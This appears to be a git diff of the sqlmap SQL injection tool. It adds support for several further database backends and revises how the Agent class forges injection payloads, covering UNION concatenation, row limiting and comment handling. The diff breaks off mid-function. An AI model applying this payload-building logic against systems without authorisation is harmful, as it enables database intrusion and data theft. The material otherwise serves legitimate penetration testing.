|
|
||||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
|
||||||
from plugins.dbms.sqlite import SQLiteMap
|
|
||||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
|
||||||
from plugins.dbms.access import AccessMap
|
|
||||||
from plugins.dbms.access.connector import Connector as AccessConn
|
from plugins.dbms.access.connector import Connector as AccessConn
|
||||||
from plugins.dbms.firebird import FirebirdMap
|
from plugins.dbms.access import AccessMap
|
||||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||||
from plugins.dbms.maxdb import MaxDBMap
|
from plugins.dbms.altibase import AltibaseMap
|
||||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
|
||||||
from plugins.dbms.sybase import SybaseMap
|
from plugins.dbms.cratedb import CrateDBMap
|
||||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
from plugins.dbms.cubrid.connector import Connector as CubridConn
|
||||||
from plugins.dbms.db2 import DB2Map
|
from plugins.dbms.cubrid import CubridMap
|
||||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||||
from plugins.dbms.hsqldb import HSQLDBMap
|
from plugins.dbms.db2 import DB2Map
|
||||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||||
from plugins.dbms.h2 import H2Map
|
from plugins.dbms.derby import DerbyMap
|
||||||
|
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||||
|
from plugins.dbms.firebird import FirebirdMap
|
||||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||||
from plugins.dbms.informix import InformixMap
|
from plugins.dbms.h2 import H2Map
|
||||||
|
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||||
|
from plugins.dbms.hsqldb import HSQLDBMap
|
||||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||||
|
from plugins.dbms.informix import InformixMap
|
||||||
|
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||||
|
from plugins.dbms.maxdb import MaxDBMap
|
||||||
|
from plugins.dbms.mckoi.connector import Connector as MckoiConn
|
||||||
|
from plugins.dbms.mckoi import MckoiMap
|
||||||
|
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
|
||||||
|
from plugins.dbms.mimersql import MimerSQLMap
|
||||||
|
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
|
||||||
|
from plugins.dbms.monetdb import MonetDBMap
|
||||||
|
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||||
|
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||||
|
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||||
|
from plugins.dbms.mysql import MySQLMap
|
||||||
|
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||||
|
from plugins.dbms.oracle import OracleMap
|
||||||
|
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||||
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
from plugins.dbms.presto.connector import Connector as PrestoConn
|
||||||
|
from plugins.dbms.presto import PrestoMap
|
||||||
|
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||||
|
from plugins.dbms.sqlite import SQLiteMap
|
||||||
|
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||||
|
from plugins.dbms.sybase import SybaseMap
|
||||||
|
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
||||||
|
from plugins.dbms.vertica import VerticaMap
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
|
@ -73,6 +100,15 @@ def setHandler():
|
||||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||||
|
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
|
||||||
|
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
|
||||||
|
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
|
||||||
|
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
|
||||||
|
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||||
|
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||||
|
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||||
|
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
|
||||||
|
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -13,6 +13,7 @@ from lib.core.common import filterNone
|
||||||
from lib.core.common import getSQLSnippet
|
from lib.core.common import getSQLSnippet
|
||||||
from lib.core.common import getTechnique
|
from lib.core.common import getTechnique
|
||||||
from lib.core.common import getTechniqueData
|
from lib.core.common import getTechniqueData
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import isDBMSVersionAtLeast
|
from lib.core.common import isDBMSVersionAtLeast
|
||||||
from lib.core.common import isNumber
|
from lib.core.common import isNumber
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
|
@ -34,6 +35,8 @@ from lib.core.data import queries
|
||||||
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import FORK
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
|
@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||||
|
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||||
from lib.core.settings import INFERENCE_MARKER
|
from lib.core.settings import INFERENCE_MARKER
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PAYLOAD_DELIMITER
|
from lib.core.settings import PAYLOAD_DELIMITER
|
||||||
|
@ -184,8 +188,10 @@ class Agent(object):
|
||||||
else:
|
else:
|
||||||
newValue = self.addPayloadDelimiters(newValue)
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
|
|
||||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
if newValue:
|
||||||
retVal = paramString.replace(_, newValue)
|
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||||
|
retVal = paramString.replace(_, newValue)
|
||||||
|
|
||||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||||
|
@ -247,7 +253,7 @@ class Agent(object):
|
||||||
|
|
||||||
# If we are replacing (<where>) the parameter original value with
|
# If we are replacing (<where>) the parameter original value with
|
||||||
# our payload do not prepend with the prefix
|
# our payload do not prepend with the prefix
|
||||||
if where == PAYLOAD.WHERE.REPLACE:
|
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
|
||||||
query = ""
|
query = ""
|
||||||
|
|
||||||
# If the technique is stacked queries (<stype>) do not put a space
|
# If the technique is stacked queries (<stype>) do not put a space
|
||||||
|
@ -294,8 +300,9 @@ class Agent(object):
|
||||||
where = getTechniqueData().where if where is None else where
|
where = getTechniqueData().where if where is None else where
|
||||||
comment = getTechniqueData().comment if comment is None else comment
|
comment = getTechniqueData().comment if comment is None else comment
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
|
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||||
comment = queries[DBMS.ACCESS].comment.query
|
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
|
||||||
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||||
|
|
||||||
if comment is not None:
|
if comment is not None:
|
||||||
expression += comment
|
expression += comment
|
||||||
|
@ -381,6 +388,11 @@ class Agent(object):
|
||||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||||
payload = payload.replace(_, randomStr())
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
|
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||||
|
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||||
|
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||||
|
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
def getComment(self, request):
|
def getComment(self, request):
|
||||||
|
@ -438,7 +450,7 @@ class Agent(object):
|
||||||
|
|
||||||
nulledCastedField = field
|
nulledCastedField = field
|
||||||
|
|
||||||
if field:
|
if field and Backend.getIdentifiedDbms():
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
||||||
|
@ -446,7 +458,7 @@ class Agent(object):
|
||||||
else:
|
else:
|
||||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||||
nulledCastedField = rootQuery.cast.query % field
|
nulledCastedField = rootQuery.cast.query % field
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||||
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
||||||
else:
|
else:
|
||||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||||
|
@ -648,7 +660,7 @@ class Agent(object):
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||||
|
@ -708,21 +720,43 @@ class Agent(object):
|
||||||
warnMsg = "applying generic concatenation (CONCAT)"
|
warnMsg = "applying generic concatenation (CONCAT)"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
|
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
|
||||||
|
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
|
||||||
|
if _ != concatenatedQuery:
|
||||||
|
concatenatedQuery = _
|
||||||
|
fieldsSelectFrom = None
|
||||||
|
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectCase:
|
elif fieldsSelectCase:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectFrom:
|
elif fieldsSelectFrom or fieldsSelect:
|
||||||
|
fromTable = ""
|
||||||
|
|
||||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
if _:
|
||||||
|
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
|
||||||
|
|
||||||
|
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
|
||||||
|
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
chars = [_ for _ in replacement]
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for index in zeroDepthSearch(replacement, ',')[1:]:
|
||||||
|
chars[index] = "),"
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
|
||||||
|
concatenatedQuery = "%s%s" % (replacement, fromTable)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||||
|
@ -937,10 +971,28 @@ class Agent(object):
|
||||||
fromFrom = limitedQuery[fromIndex + 1:]
|
fromFrom = limitedQuery[fromIndex + 1:]
|
||||||
orderBy = None
|
orderBy = None
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||||
|
if query.startswith("SELECT ") and field is not None and field in query:
|
||||||
|
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||||
|
for part in original.split(','):
|
||||||
|
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||||
|
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||||
|
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||||
|
limitedQuery = replacement
|
||||||
|
break
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.HSQLDB):
|
elif Backend.isDbms(DBMS.HSQLDB):
|
||||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||||
if match:
|
if match:
|
||||||
|
@ -1036,12 +1088,15 @@ class Agent(object):
|
||||||
def forgeQueryOutputLength(self, expression):
|
def forgeQueryOutputLength(self, expression):
|
||||||
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
||||||
select = re.search(r"\ASELECT\s+", expression, re.I)
|
select = re.search(r"\ASELECT\s+", expression, re.I)
|
||||||
|
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
|
||||||
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
||||||
|
|
||||||
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
||||||
|
|
||||||
if selectTopExpr or selectMinMaxExpr:
|
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
|
||||||
|
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
|
||||||
|
elif selectTopExpr or selectMinMaxExpr:
|
||||||
lengthExpr = lengthQuery % ("(%s)" % expression)
|
lengthExpr = lengthQuery % ("(%s)" % expression)
|
||||||
elif select:
|
elif select:
|
||||||
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -40,7 +40,6 @@ import unicodedata
|
||||||
from difflib import SequenceMatcher
|
from difflib import SequenceMatcher
|
||||||
from math import sqrt
|
from math import sqrt
|
||||||
from optparse import OptionValueError
|
from optparse import OptionValueError
|
||||||
from xml.dom import minidom
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax import SAXParseException
|
from xml.sax import SAXParseException
|
||||||
|
|
||||||
|
@ -76,6 +75,7 @@ from lib.core.enums import CHARSET_TYPE
|
||||||
from lib.core.enums import CONTENT_STATUS
|
from lib.core.enums import CONTENT_STATUS
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import EXPECTED
|
from lib.core.enums import EXPECTED
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
|
@ -139,6 +139,7 @@ from lib.core.settings import IS_TTY
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
||||||
from lib.core.settings import LOCALHOST
|
from lib.core.settings import LOCALHOST
|
||||||
|
from lib.core.settings import MAX_INT
|
||||||
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
||||||
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
||||||
from lib.core.settings import MIN_TIME_RESPONSES
|
from lib.core.settings import MIN_TIME_RESPONSES
|
||||||
|
@ -147,6 +148,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_AMP_MARKER
|
from lib.core.settings import PARAMETER_AMP_MARKER
|
||||||
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
||||||
|
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
|
||||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||||
from lib.core.settings import PAYLOAD_DELIMITER
|
from lib.core.settings import PAYLOAD_DELIMITER
|
||||||
|
@ -557,6 +559,10 @@ class Backend(object):
|
||||||
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isFork(fork):
|
||||||
|
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isDbmsWithin(aliases):
|
def isDbmsWithin(aliases):
|
||||||
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
||||||
|
@ -943,6 +949,13 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
||||||
except:
|
except:
|
||||||
level = None
|
level = None
|
||||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||||
|
if match:
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
|
for match in re.finditer(r"[^\w]'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
@ -1080,7 +1093,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if retVal is None:
|
if retVal is None:
|
||||||
if checkBatch and conf.get("batch") or conf.get("api"):
|
if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
|
||||||
if isListLike(default):
|
if isListLike(default):
|
||||||
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
||||||
elif default:
|
elif default:
|
||||||
|
@ -1104,7 +1117,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||||
dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
|
dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
|
||||||
kb.prependFlag = False
|
kb.prependFlag = False
|
||||||
|
|
||||||
retVal = _input().strip() or default
|
retVal = _input()
|
||||||
|
if not retVal: # Note: Python doesn't print newline on empty input
|
||||||
|
dataToStdout("\n")
|
||||||
|
retVal = retVal.strip() or default
|
||||||
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
|
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
|
||||||
except:
|
except:
|
||||||
try:
|
try:
|
||||||
|
@ -1123,8 +1139,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||||
|
|
||||||
if boolean:
|
if boolean:
|
||||||
retVal = retVal.strip().upper() == 'Y'
|
retVal = retVal.strip().upper() == 'Y'
|
||||||
|
else:
|
||||||
|
